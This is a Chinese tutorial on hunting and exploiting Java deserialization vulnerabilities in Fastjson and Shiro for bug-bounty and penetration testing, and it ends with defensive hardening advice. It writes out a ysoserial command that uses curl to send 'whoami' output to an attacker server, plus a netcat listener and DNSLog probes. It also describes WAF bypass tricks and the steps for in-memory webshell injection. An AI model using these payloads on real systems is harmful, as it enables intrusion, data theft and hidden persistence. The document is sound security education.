1. 项目概述从原理到实战的跨越上一期我们聊透了反序列化漏洞的原理把那些“魔术方法”、POP链构造、Gadget链的来龙去脉都掰开揉碎了讲。原理懂了就像拿到了地图但真要找到宝藏还得亲自下场去挖。这第二期咱们就聊点“硬核”的实战。怎么在真实环境里像猎人一样发现反序列化漏洞的蛛丝马迹发现了之后又该怎么一步步把它变成能实际利用的“武器”这中间的门道远比看原理要复杂和刺激。很多朋友在SRC安全应急响应中心平台挖洞或者做企业内部渗透测试时面对一个黑盒系统常常感到无从下手。反序列化漏洞不像SQL注入有个明显的单引号报错也不像XSS那样输入个script就能立刻看到反馈。它更隐蔽更像一个埋藏在数据传输流程深处的“逻辑炸弹”。你需要理解应用的架构、常用的组件、以及数据是如何流转的。本期内容我将结合近些年依然活跃的典型漏洞如Fastjson、Shiro等和SRC实战中的常见场景带你走完从信息搜集、漏洞探测、到利用链构造、最终实现利用的完整闭环。无论你是想在教育SRC、补天SRC等平台有所斩获还是想夯实自己的代码审计与渗透测试能力这些实战技巧都能给你提供清晰的路径和可复现的方法。2. 实战挖掘定位反序列化入口点挖掘反序列化漏洞第一步不是盲目的丢Payload而是找到“入口”。这个入口就是应用程序接收外部序列化数据并进行反序列化操作的地方。2.1 黑盒探测流量中的蛛丝马迹在黑盒测试中我们看不到代码只能通过观察输入输出来推断。反序列化数据的传输形式多样需要一双“火眼金睛”。2.1.1 识别常见的数据载体与协议反序列化数据很少以明文形式传输通常会经过编码或封装。你需要重点关注以下位置HTTP参数特别是POST请求的Body部分。留意json、xml等格式的数据。一个经典的Fastjson漏洞触发点就是后端接收JSON字符串并调用JSON.parseObject()或JSON.parse()方法。Cookie这是Shiro反序列化漏洞Shiro-550, Shiro-721的经典入口。Shiro使用了RememberMe功能其Cookie值rememberMe字段是经过AES加密的序列化数据。如果你在Cookie中看到一个很长、看起来像Base64编码的rememberMe值那就要高度警惕了。RPC远程过程调用框架如Hessian、Dubbo、gRPC等。这些框架为了传输对象天然会使用序列化机制如Java原生序列化、Hessian二进制协议等。对RPC接口进行模糊测试Fuzzing构造畸形的序列化数据是发现漏洞的有效手段。文件上传与解析某些应用会解析上传的文件并从中提取序列化对象。例如解析Excel、Word文档中的某些元数据或者处理特定的图片格式历史上有些漏洞通过EXIF数据触发。消息队列MQ如Kafka、RabbitMQ消费者端如果对消息体的反序列化处理不当也可能成为入口。2.1.2 主动探测与指纹识别仅仅观察还不够需要主动“投石问路”。修改数据格式在提交JSON的地方尝试轻微破坏JSON结构如删除一个括号观察错误回显。如果报错信息中出现了com.alibaba.fastjson.JSONException、com.fasterxml.jackson.core.JsonParseException等字样你就成功识别出了使用的JSON库Fastjson或Jackson。Jackson在特定配置下也可能存在反序列化问题。发送畸形序列化数据向可疑的端点发送一个简单的Java序列化数据开头魔数ac ed 00 05十六进制观察响应。如果应用崩溃、返回500错误或者有特定的Java反序列化错误堆栈如java.io.InvalidClassException返回那基本可以确定存在一个Java原生反序列化接收点。工具辅助使用Burp Suite的插件如Freddy、Deserialization Scanner可以自动化地检测常见的反序列化漏洞。这些插件能识别Cookie、参数中的序列化数据特征并自动生成和发送测试Payload。注意主动探测可能对生产环境造成影响如触发异常导致服务短暂不可用。在SRC测试或授权测试中务必在测试规范允许的范围内进行或寻找测试环境、沙箱环境进行验证。2.2 白盒审计代码层面的精准定位如果你有源码权限例如企业内部审计、开源组件分析那么挖掘效率将大大提高。审计的核心目标是找到调用反序列化方法的代码路径。2.2.1 关键函数/方法搜索在Java项目中全局搜索以下关键词readObject()Java原生反序列化的核心方法。ObjectInputStream.readObject()JSON.parseObject()/JSON.parse()Fastjson库。ObjectMapper.readValue()Jackson库。XMLDecoder.readObject()Java XML解码器历史上漏洞极多。Yaml.load()SnakeYAML库。HessianInput.readObject()Hessian反序列化。UnmarshalJAXB、XStream等XML绑定框架的反序列化操作。2.2.2 调用链分析与可控性判断找到这些方法只是第一步。更重要的是分析数据来源是否用户可控查看传入readObject()或parseObject()的参数是否来自于HTTP请求参数、Cookie、文件上传等外部输入。反序列化过程中类的加载是否受限检查是否存在ObjectInputStream的子类并重写了resolveClass方法用于限制可反序列化的类。如果存在白名单校验漏洞利用难度会增大。依赖库版本确认使用的第三方库版本。例如Fastjson 1.2.83的多个版本都存在已知的高危漏洞如1.2.83版本近期仍有绕过漏洞披露。使用命令mvn dependency:tree或检查pom.xml/build.gradle文件。2.2.3 关注框架的自动绑定机制现代框架如Spring MVC可以通过RequestBody注解自动将JSON/XML请求体反序列化为Java对象。例如PostMapping(/update) public String updateUser(RequestBody User user) { // 这里可能自动调用Jackson或Fastjson // ... }如果User类中存在危险属性或setter方法结合特定的Gadget链就可能构成漏洞。审计时需要关注被自动绑定的类及其继承关系。3. 利用链构造从Gadget到Exploit找到入口点只是证明了“这里能反序列化”。要真正实现利用如命令执行、文件读取我们需要一条“路”这就是Gadget链。它由项目中现有的类和方法像齿轮一样咬合而成。3.1 利用链的核心组成与寻找一条完整的利用链通常包含三部分触发源Sink最终执行危险操作的地方如Runtime.exec()命令执行、ProcessBuilder.start()、FileInputStream.read()文件读取、Method.invoke()反射调用等。传递链链条一系列属性的getter/setter方法、构造函数或特定接口方法如Comparable.compareTo()、TrAXFilter.getOutputProperties()它们像桥梁一样将反序列化过程从起始类引导向触发源。起始类Starter/Gadget一个实现了Serializable接口并且在反序列化时通过readObject()方法或特定的getter/setter会自动调用链条中下一个“齿轮”的类。3.1.1 如何寻找现成的Gadget链对于像Apache Commons Collections、Fastjson、Jackson-databind这些通用组件安全研究人员已经发现了大量成熟的Gadget链。我们的工作往往是“选用”而非“创造”。使用公开的漏洞库关注ysoserial、marshalsec等工具集。它们收集了针对不同库的Gadget链。例如CommonsCollections1、CommonsCollections2等就是针对不同版本Apache Commons Collections的链。分析依赖使用java -cp ysoserial.jar ysoserial.GeneratePayload查看支持的链并比对你目标应用的依赖库版本选择匹配的链。适配与改造有时公开的链不能直接使用可能是因为类名不同、方法被删改、或者存在黑名单过滤。这就需要你具备一定的Java基础和调试能力使用JD-GUI、IDEA或直接反编译jar包分析链中涉及的类在当前环境是否可用并尝试进行适配。3.1.2 以Fastjson为例的链构造逻辑Fastjson的反序列化漏洞利用链构造有其特殊性。它并非利用readObject()而是利用目标类的属性setter方法、构造函数或特定字段的自动赋值。例如一个经典的思路是寻找一个类它有一个属性类型是DataSource并且有对应的setter方法。Fastjson在反序列化时会尝试将JSON中的dataSource键值对通过setter方法注入一个JndiDataSourceFactory对象。如果这个JndiDataSourceFactory的JndiName属性可控并且应用在后续逻辑中调用了DataSource.getConnection()就可能触发JNDI注入进而导致远程类加载和代码执行。Fastjson 1.2.83及之前版本的多个漏洞核心就是不断绕过其内置的黑名单机制找到新的、未被列入黑名单的类作为Gadget链的起点或跳板。审计时需要仔细分析漏洞通告中提到的新的危险类如某些Exception子类、BasicDataSource等并理解其触发路径。3.2 利用工具与Payload生成理论需要工具来落地。以下是实战中的标准操作流程确认环境与链首先确定目标使用的Java版本、第三方库及其版本。例如通过错误信息或依赖分析确认存在commons-collections 3.2.1。选择工具生成Payload# 使用ysoserial生成一个执行命令的Payload并Base64编码 java -jar ysoserial.jar CommonsCollections1 curl http://your-vps/$(whoami) | base64 | tr -d \n这条命令会生成一个针对CC1链的序列化对象执行whoami命令并将结果通过HTTP请求发送到你的服务器。base64编码是为了方便在HTTP请求中传输。投递Payload将生成的Base64字符串根据你找到的入口点进行投递。如果是CookieShiro将字符串作为rememberMe的Cookie值发送。注意Shiro有AES加密通常需要使用专门的工具如shiro_attack来生成加密后的Payload。如果是POST参数可以将Base64字符串放在data、input等参数中或者直接作为JSON的一个字段值对于Java原生反序列化接收点。如果是FastjsonPayload是精心构造的JSON字符串而不是原生序列化字节流的Base64。你需要使用针对Fastjson的利用工具来生成JSON格式的Payload。监听与回显在投递Payload前你需要在公网服务器上启动监听。命令执行监听如果Payload是直接执行命令如反弹Shell你需要用nc -lvnp 4444监听一个端口。DNSLog/HTTPLog监听对于无回显的“盲打”场景可以使用DNSLog或HTTPLog平台。Payload中执行ping your-domain.dnslog.cn或curl http://your-vps/通过查看DNS解析记录或HTTP访问日志来判断命令是否执行成功。这是SRC漏洞证明中最常用、对业务影响最小的方式。4. 绕过防御与高级利用技巧现在的应用多少都有一些防护措施直接使用公开的Payload可能失败。我们需要一些“骚操作”来绕过。4.1 常见防御机制与绕过4.1.1 黑名单过滤像Fastjson、Jackson都维护了一个危险类的黑名单。绕过方法寻找黑名单外的类似类安全研究人员会不断挖掘与黑名单中类功能相似但未被收录的类。例如当TemplatesImpl被禁后寻找其他可以加载字节码的类。利用异常处理链某些Exception类在反序列化时会调用其getCause()或getMessage()方法这些方法内部可能触发类属性的getter从而形成新的链。Fastjson的多个绕过都与异常类有关。版本差异黑名单在不同版本有增删。研究目标版本与已知漏洞版本的差异可能找到“漏网之鱼”。4.1.2 白名单校验这是更强的防御在ObjectInputStream.resolveClass中只允许反序列化特定的类。绕过难度极大但并非不可能逻辑绕过如果白名单校验存在逻辑缺陷例如先反序列化一个对象再根据对象某个字段的值动态加载类则可能被利用。利用已存在的链在白名单内的类中寻找可能触发危险操作的链。这需要极深的代码审计功力通常针对特定应用而非通用组件。4.1.3 WAF/IDS规则拦截网络层设备可能会检测请求中是否包含常见的危险类名如InvokerTransformer、Base64编码的特征字符等。编码混淆对Payload进行多次编码如URL编码、Hex编码、Unicode编码。分块传输使用HTTP分块传输编码Transfer-Encoding: chunked来拆分Payload可能绕过基于正则表达式的检测。垃圾数据填充在Payload中插入大量无意义的序列化数据扰乱特征检测。4.2 无文件落地与内存马注入直接执行系统命令虽然有效但容易被日志记录和终端防护软件发现。高级的攻击者追求更隐蔽的持久化方式。4.2.1 内存WebShell内存马注入这是目前最流行的利用方式之一。其目标不是执行一次命令而是在Web服务器进程如Tomcat、Jetty的内存中动态注册一个恶意的Servlet、Filter或Controller。此后攻击者可以通过访问特定的URL路径来随时执行命令且没有任何文件落地重启后失效隐蔽性极强。以注入Servlet内存马为例的利用链思路找到当前Web容器的上下文利用Gadget链通过Thread.currentThread().getContextClassLoader()或this.getClass().getClassLoader()等方式获取到org.apache.catalina.loader.WebappClassLoader。获取StandardContext通过ClassLoader或其父链找到当前的StandardContext对象这是Tomcat中管理Servlet的核心对象。创建恶意Servlet动态创建一个实现了Servlet接口的类通常用字节码技术或动态代理在其service方法中写入命令执行逻辑。注册Servlet调用StandardContext.addChild()和StandardContext.addServletMapping()等方法将恶意Servlet注册到容器中并分配一个访问路径如/evil。整个利用过程完全在内存中完成通过一条精心构造的反序列化链触发。工具如Godzilla、Behinder冰蝎的Java版本都集成了这种内存马注入的Payload。4.2.2 利用反序列化加载远程字节码JNDI注入在Java版本较低8u191且目标出网的情况下可以利用反序列化触发JNDI注入从远程服务器加载恶意类。虽然高版本Java限制了远程类加载但在某些特定上下文如本地ClassPath查找或搭配RMI/LDAP利用技巧如JRMP、LDAP反序列化链下仍有利用可能。这需要攻击者控制一个外部的JNDI服务如恶意的RMI或LDAP服务器。5. 漏洞挖掘实战案例复盘这里以一个高度简化的模拟场景串联上述技巧。假设我们在对一个Spring Boot应用进行黑盒测试。第一步信息搜集与入口探测扫描发现/api/user/update接口接受POST JSON请求。修改JSON结构返回错误信息中看到com.alibaba.fastjson.JSONException确认使用Fastjson。检查依赖通过/actuator/env或错误信息推测发现版本为1.2.80一个存在多个已知漏洞的版本。第二步漏洞验证与利用尝试使用公开的Fastjson漏洞检测POC一个包含type特殊键的JSON尝试触发DNSLog。{ type: java.net.Inet4Address, val: your-dnslog.dnslog.cn }在DNSLog平台收到解析记录确认存在Fastjson反序列化漏洞并且目标可以出网。第三步深入利用与内存马注入由于是黑盒我们选择使用成熟的利用工具如fastjson_tool或集成在综合利用框架中的模块。工具会帮助我们生成更复杂的Payload可能包含利用TemplatesImpl加载字节码的链。我们选择注入内存马。将冰蝎或哥斯拉的Java内存马字节码文件通过工具编码后嵌入到JSON Payload的_bytecodes等字段中。发送Payload后访问工具指定的特定路径如/bypass使用密码连接成功获取一个交互式的WebShell可以执行命令、浏览文件。第四步漏洞证明与报告在SRC平台提交时不会直接上传WebShell截图这可能违反规则。标准的证明方式是提供两步无害验证。第一步证明漏洞存在提供触发DNSLog或HTTP请求的Payload和接收记录的截图。第二步证明危害性执行一个无害但能证明代码执行能力的命令如ping -c 1 your-dnslog2.dnslog.cn或者whoami /tmp/test.txt然后尝试读取如果条件允许。并将第二次的请求记录截图。在报告中清晰描述漏洞点/api/user/update接口、触发的组件Fastjson 1.2.80、利用原理简述以及修复建议升级至最新安全版本如1.2.83以上并注意官方安全公告可能还有后续绕过需持续关注。6. 防御视角与安全开发建议作为开发者了解攻击手法才能更好地防御。6.1 治本之策升级与禁用及时升级将所有已知存在反序列化漏洞的第三方库Fastjson, Jackson-databind, Apache Commons Collections, Shiro等升级到最新的安全版本。关注CVE和组件官方的安全公告。使用安全版本/替代品对于Fastjson考虑使用fastjson2或者换用其他更安全的JSON库如Gson默认不支持自动类型反序列化更安全、Jackson需正确配置。禁用危险功能如果业务不需要彻底禁用Java原生序列化、XMLDecoder、XStream的自动类型转换等功能。在Shiro中如果不使用RememberMe功能则关闭它。6.2 加固措施白名单与输入校验反序列化白名单如果必须使用反序列化如RPC框架则实现自定义的ObjectInputStream重写resolveClass方法严格校验允许反序列化的类名。JSON类型过滤对于Fastjson使用JSON.parseObject(jsonString, User.class)指定具体类型而不是JSON.parseObject(jsonString)。对于Jackson禁用Polymorphic DeserializationObjectMapper.enableDefaultTyping()特性。JVM层面限制使用Java安全管理器Security Manager或启动参数-Djdk.deserialization.filter来设置全局的反序列化过滤器过滤掉危险的类。6.3 架构与监控最小化依赖定期清理项目依赖移除不必要的库减少攻击面。代码审计在代码审查阶段重点关注所有反序列化操作的输入点。运行时监控使用RASP运行时应用自我保护工具监控应用中反序列化操作的行为对尝试加载危险类或执行敏感操作的行为进行实时拦截和告警。网络层面限制应用服务器不必要的出网连接可以阻断大部分JNDI注入、DNSLog外带数据的攻击。反序列化漏洞的攻防是一场持续的博弈。攻击者在不断寻找新的Gadget链和绕过方法而防御者则需要构建纵深防御体系。对于安全研究人员而言理解漏洞原理、掌握实战挖掘技巧、并时刻关注最新的攻防动态是在这个领域立足的根本。希望这两期的深度解析能为你打开这扇门并提供足够实用的“弹药”。真正的精通还需要你在大量的实战和代码分析中去积累和感悟。